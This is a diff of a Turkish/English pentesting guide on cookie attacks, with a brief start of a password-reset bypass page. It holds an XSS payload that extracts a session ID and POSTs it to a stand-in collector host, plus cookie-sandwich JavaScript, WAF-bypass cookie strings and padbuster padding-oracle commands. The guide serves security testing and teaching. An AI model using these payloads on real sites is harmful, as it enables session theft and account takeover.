yansıtacağı **TRACE HTTP** istekleriyle atlatılabilir. Bu tekniğe **Cross-Site Tracking** denir. +- Modern tarayıcılar, JS'den TRACE göndermeye izin vermeyerek bu tekniği engeller. Ancak bazı yazılımlarda, örneğin IE6.0 SP2'ye `\r\nTRACE` göndermek gibi bypass'lar bulunmuştur. +- Bir diğer yol tarayıcıların zero-day/vulnerability'lerinin istismar edilmesidir. +- Cookie Jar overflow saldırısı yapılarak HttpOnly cookie'ler üzerine yazmak mümkündür: -- Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)). -- Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır. Bu teknik **Cross-Site Tracking** olarak adlandırılır. -- Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı aşmalar bulunmuştur. -- Diğer bir yol, tarayıcıların sıfır/günlük açıklarını istismar etmektir. -- Bir Çerez Jar taşma saldırısı gerçekleştirerek **HttpOnly çerezlerini** **aşmak** mümkündür: {{#ref}} cookie-jar-overflow.md {{#endref}} -- Bu çerezleri dışarı aktarmak için [**Cookie Smuggling**](#cookie-smuggling) saldırısı kullanılabilir. +- Bu cookie'leri sızdırmak için [**Cookie Smuggling**](#cookie-smuggling) saldırısı kullanılabilir. +- Eğer herhangi bir server-side endpoint ham session ID'sini HTTP yanıtında (örn. HTML yorumları içinde veya bir debug bloğunda) yansıtıyorsa, HttpOnly'yi atlatmak için bir XSS gadget'ı kullanıp o endpoint'i fetch ederek, secret'ı regex ile ayıklayıp sızdırabilirsiniz. Örnek XSS payload deseni: +```js +// Extract content between ... +const re = /([\s\S]*?)/; +fetch('/index.php?module=Touch&action=ws') +.then(r => r.text()) +.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); }); +``` +### Secure -### Güvenli +İstek, cookie'yi bir HTTP isteğinde yalnızca istek güvenli bir kanal üzerinden (genellikle **HTTPS**) iletildiğinde gönderir. -İstek, yalnızca güvenli bir kanal üzerinden (tipik olarak **HTTPS**) iletilirse çerezi **sadece** bir HTTP isteğinde gönderir. +## Cookies Prefixes -## Çerez Ön Ekleri +Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS. -`__Secure-` ile başlayan çerezlerin, HTTPS ile güvence altına alınmış sayfalardan `secure` bayrağı ile birlikte ayarlanması gerekmektedir. +For cookies prefixed with `__Host-`, several conditions must be met: -`__Host-` ile başlayan çerezler için birkaç koşulun karşılanması gerekir: +- They must be set with the `secure` flag. +- They must originate from a page secured by HTTPS. +- They are forbidden from specifying a domain, preventing their transmission to subdomains. +- The path for these cookies must be set to `/`. -- `secure` bayrağı ile ayarlanmalıdır. -- HTTPS ile güvence altına alınmış bir sayfadan gelmelidir. -- Bir alan belirtmeleri yasaktır, bu da alt alanlara iletimlerini engeller. -- Bu çerezlerin yolu `/` olarak ayarlanmalıdır. +It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation. -`__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` ön ekinin kullanılması, güvenlik ve izolasyonu artırmak için iyi bir uygulama olarak kabul edilebilir. +### Overwriting cookies -### Çerezleri Aşma - -Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alanlardan üzerine yazılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Web Oturum Bütünlüğü Açıklarını Ortaya Çıkarmak**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, çerez adının başına veya başına ve sonuna `=` ekleyerek alt alanlardan \_\_HOST- ile başlayan çerezlerin ayarlanmasının mümkün olduğu sunulmuştur: +So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:
-Ya da PHP'de çerez adının başına **diğer karakterler ekleyerek** `__HOST-` çerezlerini **alt çizgi** karakterleri ile değiştirmek mümkündür: +Or in PHP it was possible to add **other characters at the beginning** of the cookie name that were going to be **replaced by underscore** characters, allowing to overwrite `__HOST-` cookies:
-## Çerez Saldırıları +## Cookies Attacks -Özel bir çerez hassas veriler içeriyorsa, bunu kontrol edin (özellikle bir CTF oynuyorsanız), çünkü bu savunmasız olabilir. +Eğer özel bir cookie hassas veri içeriyorsa kontrol edin (özellikle bir CTF oynuyorsanız), zira savunmasız olabilir. -### Çerezleri Çözme ve Manipüle Etme +### Decoding and Manipulating Cookies -Çerezlerde gömülü hassas veriler her zaman incelenmelidir. Base64 veya benzeri formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zafiyet, saldırganların çerezin içeriğini değiştirmesine ve değiştirilmiş verilerini çereze geri kodlayarak diğer kullanıcıları taklit etmesine olanak tanır. +Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie. -### Oturum Ele Geçirme +### Session Hijacking -Bu saldırı, bir kullanıcının çerezini çalarak uygulama içindeki hesabına yetkisiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir. +This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user. -### Oturum Sabitleme +### Session Fixation -Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerezi kullanarak oturum açmaya kandırır. Uygulama oturum açıldığında yeni bir çerez atamazsa, saldırgan, orijinal çerezi elinde bulundurarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerez ile oturum açmasına dayanır. +In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker. + +If you found an **XSS in a subdomain** or you **control a subdomain**, read: -Eğer bir **alt alan** içinde **XSS bulduysanız** veya bir **alt alanı kontrol ediyorsanız**, okuyun: {{#ref}} cookie-tossing.md {{#endref}} -### Oturum Bağışı +### Session Donation -Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kurban, kendi hesabında oturum açtığını düşünerek, saldırganın hesabı bağlamında istemeden eylemler gerçekleştirir. +Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account. + +If you found an **XSS in a subdomain** or you **control a subdomain**, read: -Eğer bir **alt alan** içinde **XSS bulduysanız** veya bir **alt alanı kontrol ediyorsanız**, okuyun: {{#ref}} cookie-tossing.md {{#endref}} -### [JWT Çerezleri](../hacking-jwt-json-web-tokens.md) +### [JWT Cookies](../hacking-jwt-json-web-tokens.md) -JWT'deki olası hataları açıklayan bir sayfaya erişmek için önceki bağlantıya tıklayın. +Click on the previous link to access a page explaining possible flaws in JWT. -Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunları nasıl istismar edeceğiniz hakkında derinlemesine bilgi için, JWT hacking ile ilgili bağlantılı belgeye erişmeniz önerilir. +JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended. ### Cross-Site Request Forgery (CSRF) -Bu saldırı, oturum açmış bir kullanıcının, şu anda kimlik doğrulaması yapılmış olduğu bir web uygulamasında istenmeyen eylemleri gerçekleştirmesini zorlar. Saldırganlar, savunmasız siteye her istekte otomatik olarak gönderilen çerezleri istismar edebilir. +This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site. -### Boş Çerezler +### Empty Cookies -(Başka ayrıntılar için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, isim olmadan çerez oluşturulmasına izin verir, bu da JavaScript ile şu şekilde gösterilebilir: +(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "b=v2" ``` -Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;`. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır ve boş çerezi belirli bir değere ayarlayarak diğer çerezleri potansiyel olarak kontrol etme imkanı sağlar: +Gönderilen cookie header'ındaki sonuç `a=v1; test value; b=v2;`. İlginç bir şekilde, bu, isimsiz bir cookie ayarlanırsa cookie'lerin manipüle edilmesine izin verir; boş isimli cookie'yi belirli bir değere ayarlayarak diğer cookie'leri potansiyel olarak kontrol etmek mümkün: ```js function setCookie(name, value) { document.cookie = `${name}=${value}` @@ -155,49 +165,50 @@ document.cookie = `${name}=${value}` setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value ``` -Bu, tarayıcının her web sunucusu tarafından `a` adında ve `b` değerine sahip bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar. +Bu, tarayıcının bir cookie header göndermesine yol açar; her web sunucusu bunu adı `a` ve değeri `b` olan bir cookie olarak yorumlar. -#### Chrome Hatası: Unicode Yerine Geçen Kod Noktası Sorunu +#### Chrome Hatası: Unicode vekil kod noktası sorunu -Chrome'da, eğer bir Unicode yerine geçen kod noktası ayarlanmış bir çerezin parçasıysa, `document.cookie` bozulur ve sonrasında boş bir dize döner: +Chrome'da, bir Unicode vekil kod noktası bir set cookie'nin parçası olduğunda, `document.cookie` bozulur ve sonrasında boş bir string döndürür: ```js document.cookie = "\ud800=meep" ``` -Bu, `document.cookie`'nin boş bir dize döndürmesine neden olur ve kalıcı bir bozulmayı gösterir. +Bu, `document.cookie`'un boş bir dize döndürmesine yol açar ve kalıcı bozulmaya işaret eder. -#### Ayrıştırma Sorunlarından Kaynaklanan Cookie Smuggling +#### Cookie Smuggling Due to Parsing Issues -(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle çerez dizelerini yanlış işler. Bir çerez değeri çift tırnak içinde olsa bile, genellikle anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile, bunu tek bir değer olarak okurlar: +(Daha fazla ayrıntı için [original research](https://blog.ankursundara.com/cookie-bugs/)) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) kaynaklı olanlar da dahil olmak üzere birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işliyor. Çift tırnakla çevrelenmiş bir cookie değerini, içinde noktalı virgül olsa bile, normalde anahtar-değer çiftlerini ayırması gereken noktalı virgülleri dikkate almadan tek bir değer olarak okurlar: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` #### Cookie Injection Vulnerabilities -(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Sunucuların çerezleri yanlış analiz etmesi, özellikle Undertow, Zope ve Python'un `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullananlar, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde ayırt edemez, bu da saldırganların çerezleri taklit etmesine olanak tanır: +(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Sunucuların çerezleri yanlış ayrıştırması — özellikle Undertow, Zope ve Python'un `http.cookie.SimpleCookie` ile `http.cookie.BaseCookie` kullananlar — cookie injection saldırıları için fırsatlar yaratır. Bu sunucular yeni cookie başlangıcını doğru şekilde ayırmaz; bu da saldırganların cookie taklidi yapmasına izin verir: -- Undertow, alıntılanmış bir değerden hemen sonra bir yeni çerez bekler, noktalı virgül olmadan. -- Zope, bir sonraki çerezi analiz etmeye başlamak için bir virgül arar. -- Python'un çerez sınıfları, bir boşluk karakterinde analiz yapmaya başlar. +- Undertow, noktalı virgül olmadan tırnaklı bir değerin hemen ardından yeni bir cookie bekler. +- Zope bir sonraki cookie'yi ayrıştırmaya başlamak için virgül arar. +- Python'un cookie sınıfları ayrıştırmaya boşluk karakterinde başlar. -Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezleri enjekte etmesine olanak tanır ve bu da güvenlik önlemlerinin aşılmasına yol açabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme, önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme aşımına yol açabilir. +Bu zafiyet, cookie tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir; çünkü saldırganların sahte CSRF-token cookie'leri enjekte etmesine ve böylece güvenlik önlemlerini atlatmasına imkan tanıyabilir. Python'un aynı isimli birden fazla cookie ile başa çıkma şekli (sonuncunun öncekilere üstün gelmesi) sorunları ağırlaştırır. Ayrıca `__Secure-` ve `__Host-` cookie'lerinin güvensiz bağlamlarda kullanımıyla ilgili endişeler doğurur ve cookie'lerin spoof'a açık back-end sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir. ### Cookies $version #### WAF Bypass -According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), arka ucu çerezi analiz etmek için eski bir mantık kullanmaya zorlamak amacıyla çerez niteliği **`$Version=1`** kullanmak mümkün olabilir, bu da **RFC2109**'dan kaynaklanmaktadır. Ayrıca, **`$Domain`** ve **`$Path`** gibi diğer değerler, çerezi kullanarak arka ucun davranışını değiştirmek için kullanılabilir. +According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), backend'in cookie'yi ayrıştırmak için RFC2109 nedeniyle eski bir mantığı kullanmasını sağlamak için cookie özniteliği **`$Version=1`** kullanılabilir. Ayrıca, **`$Domain`** ve **`$Path`** gibi diğer değerler backend davranışını cookie aracılığıyla değiştirmek için kullanılabilir. #### Cookie Sandwich Attack -According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), HttpOnly çerezlerini çalmak için çerez sandviçi tekniğini kullanmak mümkündür. İşte gereksinimler ve adımlar: +According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) cookie sandwich technique kullanılarak HttpOnly cookie'leri çalmak mümkündür. Gereksinimler ve adımlar şunlardır: -- Görünüşte işe yaramaz bir **çerezin yanıtta yansıtıldığı** bir yer bulun. -- **Değeri `1` olan `$Version`** adında bir çerez oluşturun (bunu JS'den bir XSS saldırısı ile yapabilirsiniz) ve başlangıç konumunu almak için daha spesifik bir yol belirleyin (Python gibi bazı çerçeveler bu adımı gerektirmez). -- **Yansıtılan çerezi oluşturun** ve değeri **açık çift tırnak** bırakan bir değerle ve önceki çerezin (`$Version`) ardından çerez veritabanında konumlanacak şekilde spesifik bir yol ile oluşturun. -- Ardından, meşru çerez sırada bir sonraki olacaktır. -- **Değeri içinde çift tırnağı kapatan bir sahte çerez oluşturun.** +- Yanıt içinde bariz şekilde işe yaramaz görünen bir **cookie'in yanıtta yansıtıldığı** bir yer bulun. +- **`$Version` adlı bir cookie oluşturun**; değeri `1` olsun (bunu JS üzerinden bir XSS ile yapabilirsiniz) ve başlangıç konumunu alması için daha spesifik bir path verin (python gibi bazı framework'lar bu adımı gerektirmez). +- **Yansıtılan cookie'i oluşturun**; değeri bir **açık çift tırnak** bırakacak şekilde olsun ve belirli bir path verin ki cookie veritabanında önceki (`$Version`) öğeden sonra konumlansın. +- Böylece, meşru cookie sırada bir sonraki konuma gelir. +- **Değerinde çift tırnağı kapatan sahte bir cookie oluşturun**. -Bu şekilde, kurban çerezi yeni çerez versiyon 1 içinde sıkışacak ve her yansıtıldığında yansıtılacaktır. +Bu şekilde kurban cookie'si yeni cookie version 1'in içine hapsolur ve yansıtıldığında her seferinde yansıtılmış olur. +e.g. from the post: ```javascript document.cookie = `$Version=1;`; document.cookie = `param1="start`; @@ -206,58 +217,58 @@ document.cookie = `param2=end";`; ``` ### WAF bypasses -#### Cookies $version +#### Çerezler $version Önceki bölüme bakın. #### Bypassing value analysis with quoted-string encoding -Bu ayrıştırma, çerezler içindeki kaçış karakterlerini çözmek için kaçış değerlerini çözmeyi belirtir, böylece "\a" "a" olur. Bu, WAF'ları aşmak için yararlı olabilir: +Bu ayrıştırma, çerezler içindeki escape edilmiş değerlerin çözülmesini sağlar; bu yüzden "\a" "a" olur. Bu, WAFS'i atlatmak için faydalı olabilir, örneğin: - `eval('test') => forbidden` - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed` #### Bypassing cookie-name blocklists -RFC2109'da **virgülün çerez değerleri arasında bir ayırıcı olarak kullanılabileceği** belirtilmiştir. Ayrıca **eşittir işaretinden önce ve sonra boşluklar ve sekmeler eklemek mümkündür**. Bu nedenle, `$Version=1; foo=bar, abc = qux` gibi bir çerez, `"foo":"bar, admin = qux"` çerezini oluşturmaz, bunun yerine `foo":"bar"` ve `"admin":"qux"` çerezlerini oluşturur. 2 çerez nasıl oluşturulduğuna ve admin'in eşittir işaretinden önce ve sonra boşluğun nasıl kaldırıldığına dikkat edin. +RFC2109'da **virgül çerez değerleri arasında ayırıcı olarak kullanılabilir** olduğu belirtilir. Ayrıca eşittirin öncesine ve sonrasına **boşluklar ve tab eklemek** mümkündür. Bu nedenle `$Version=1; foo=bar, abc = qux` gibi bir çerez `"foo":"bar, admin = qux"` çerezini oluşturmaz; bunun yerine `foo":"bar"` ve `"admin":"qux"` çerezlerini üretir. İki çerez nasıl oluşturulduğunu ve admin'in eşittirin öncesindeki ve sonrasındaki boşluğun nasıl kaldırıldığını gözlemleyin. #### Bypassing value analysis with cookie splitting -Son olarak, farklı arka kapılar, farklı çerez başlıklarında geçen farklı çerezleri bir dize içinde birleştirebilir: +Son olarak, farklı backdoors farklı cookie headers'ta gönderilen farklı çerezleri bir string içinde birleştirebilir, örneğin: ``` GET / HTTP/1.1 Host: example.com Cookie: param1=value1; Cookie: param2=value2; ``` -Bu, bu örnekte olduğu gibi bir WAF'ı atlamayı mümkün kılabilir: +Bu, aşağıdaki örnekte olduğu gibi bir WAF'ı atlatmaya izin verebilir: ``` Cookie: name=eval('test// Cookie: comment') Resulting cookie: name=eval('test//, comment') => allowed ``` -### Ekstra Hassas Çerez Kontrolleri +### Ekstra Zayıf Cookie Kontrolleri #### **Temel kontroller** -- **Çerez** her seferinde **giriş** yaptığınızda **aynıdır**. -- Çıkış yapın ve aynı çerezi kullanmaya çalışın. -- Aynı çerezi kullanarak 2 cihazda (veya tarayıcıda) aynı hesaba giriş yapmayı deneyin. -- Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve bunu değiştirmeye çalışın. -- Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görebiliyor musunuz kontrol edin. -- Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabileceğini düşünüyorsanız, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın. -- Önceki çerezin şifreyi değiştirdikten sonra bile çalışıp çalışmadığını kontrol edin. +- Her **login** yaptığınızda **cookie** **aynı**. +- Çıkış yap ve aynı cookie'yi kullanmayı dene. +- Aynı hesapla, aynı cookie'yi kullanarak 2 cihazda (veya tarayıcıda) giriş yapmayı dene. +- Cookie'nin içinde herhangi bir bilgi olup olmadığını kontrol et ve değiştirmeyi dene. +- Neredeyse aynı username'e sahip birkaç hesap oluştur ve benzerlikleri kontrol et. +- "\"**remember me**\"" seçeneği varsa nasıl çalıştığını kontrol et. Eğer mevcutsa ve zafiyetli olabilecekse, her zaman başka bir cookie olmadan **remember me** cookie'sini kullan. +- Şifreyi değiştirdikten sonra önceki cookie'nin hala çalışıp çalışmadığını kontrol et. -#### **Gelişmiş çerez saldırıları** +#### **Gelişmiş cookie saldırıları** -Eğer çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz: +Eğer cookie giriş yaptığınızda (veya neredeyse) aynı kalıyorsa, bu muhtemelen cookie'nin hesabınızdaki bir alanla (muhtemelen username) ilişkili olduğu anlamına gelir. Bu durumda şunları yapabilirsiniz: -- Çok **benzer** kullanıcı adlarına sahip birçok **hesap** oluşturmaya çalışın ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın. -- **Kullanıcı adını brute force** etmeyi deneyin. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır. -- **Padding** **Oracle** denemesi yapın (çerezin içeriğini şifreleyebilirsiniz). **padbuster** kullanın. +- Çok sayıda **hesap** oluştur, username'leri çok **benzer** yap ve algoritmanın nasıl çalıştığını **tahmin etmeye** çalış. +- Try to **bruteforce the username**. Eğer cookie sadece username için bir authentication yöntemi olarak saklanıyorsa, o zaman username'i "**Bmin**" olan bir hesap oluşturup cookie'nin her bir **bit**'ini **bruteforce** edebilirsin çünkü deneyeceğin cookie'lerden biri "**admin**"e ait olandır. +- Try **Padding** **Oracle** (cookie'nin içeriğini deşifre edebilirsiniz). **padbuster** kullanın. -**Padding Oracle - Padbuster örnekleri** +**Padding Oracle - Padbuster examples** ```bash padbuster # When cookies and regular Base64 @@ -267,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 ``` -Padbuster birkaç deneme yapacak ve size hangi durumun hata durumu olduğunu soracaktır (geçerli olmayan). +Padbuster birkaç deneme yapacak ve size hangi durumun hata koşulu olduğunu (geçersiz olanı) soracaktır. -Ardından çerezi şifrelemeye başlayacaktır (bu birkaç dakika sürebilir). +Sonra decrypting the cookie işlemine başlayacak (bu birkaç dakika sürebilir) -Eğer saldırı başarıyla gerçekleştirilmişse, o zaman seçtiğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, **encrypt** **user=administrator** istiyorsanız. +Eğer saldırı başarıyla gerçekleştirildiyse, seçtiğiniz bir stringi encrypt etmeyi deneyebilirsiniz. Örneğin, eğer **encrypt** **user=administrator** yapmak isterseniz ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -Bu yürütme, içinde **user=administrator** dizesi bulunan çerezi doğru bir şekilde şifrelenmiş ve kodlanmış olarak verecektir. +This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside. **CBC-MAC** -Belki bir çerez bazı değerlere sahip olabilir ve CBC kullanılarak imzalanabilir. O zaman, değerin bütünlüğü, aynı değerle CBC kullanılarak oluşturulan imzadır. IV olarak null vektör kullanılması önerildiğinden, bu tür bir bütünlük kontrolü savunmasız olabilir. +Belki bir cookie'nin bir değeri olabilir ve CBC kullanılarak imzalanmış olabilir. Bu durumda, değerin bütünlüğü aynı değer kullanılarak CBC ile oluşturulan imza olur. IV olarak null vector kullanılması tavsiye edildiği için, bu tür bütünlük kontrolü zafiyete açık olabilir. -**Saldırı** +**The attack** -1. Kullanıcı adı **administ** için imzayı al = **t** -2. Kullanıcı adı **rator\x00\x00\x00 XOR t** için imzayı al = **t'** -3. Çerezde değeri **administrator+t'** olarak ayarla (**t'** geçerli bir imza olacaktır **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** +1. Kullanıcı adı **administ** = **t** için imzayı al +2. Kullanıcı adı **rator\x00\x00\x00 XOR t** = **t'** için imzayı al +3. Cookie'ye değeri **administrator+t'** olarak ayarla (**t'**, **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** için geçerli bir imza olacaktır) **ECB** -Eğer çerez ECB kullanılarak şifrelenmişse, savunmasız olabilir.\ -Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır. +If the cookie is encrypted using ECB it could be vulnerable.\ +When you log in the cookie that you receive has to be always the same. -**Nasıl tespit edilir ve saldırılır:** +**How to detect and attack:** -Neredeyse aynı verilere (kullanıcı adı, şifre, e-posta vb.) sahip 2 kullanıcı oluşturun ve verilen çerez içinde bir desen keşfetmeye çalışın. +Aynı veya çok benzer verilerle (username, password, email, vb.) 2 kullanıcı oluşturun ve verilen cookie içinde herhangi bir desen olup olmadığını keşfetmeye çalışın. -Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (çünkü ECB her bloğu aynı anahtarla şifrelediğinden, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir). +Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adlı bir kullanıcı oluşturun ve cookie içinde herhangi bir deseni kontrol edin (ECB her bloğu aynı anahtarla şifrelediği için, username şifreleniyorsa aynı şifrelenmiş byte'lar tekrar edebilir). -Kullanılan bir bloğun boyutunda bir desen olmalıdır. Yani, bir grup "a"nın nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"\*(bloğun boyutu)+"admin". Ardından, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız. +Bir desen (kullanılan bloğun boyutunda) olması gerekir. Böylece bir dizi "a"nın nasıl şifrelendiğini bildiğinizde şu şekilde bir username oluşturabilirsiniz: "a"\*(size of the block)+"admin". Sonra cookie'den bir blok "a"nın şifrelenmiş desenini silebilirsiniz. Ve elimizde "admin" kullanıcı adına ait cookie kalmış olur. -## Referanslar +## References - [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) - [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) - [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) +- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181) +- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it) +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 1b061b038..b4f2bc990 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -1,181 +1,182 @@ -# Sıfırlama/Unutulmuş Şifre Bypass +# Şifre Sıfırlama / Unutulmuş Şifre Atlatma {{#include ../banners/hacktricks-training.md}} -## **Referans Üzerinden Şifre Sıfırlama Tokeni Sızıntısı** +## **Şifre Sıfırlama Token Leak Referer Üzerinden** -- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir. -- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme. -- **Sömürü**: Bir şifre sıfırlama tokeninin referer başlığında sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. 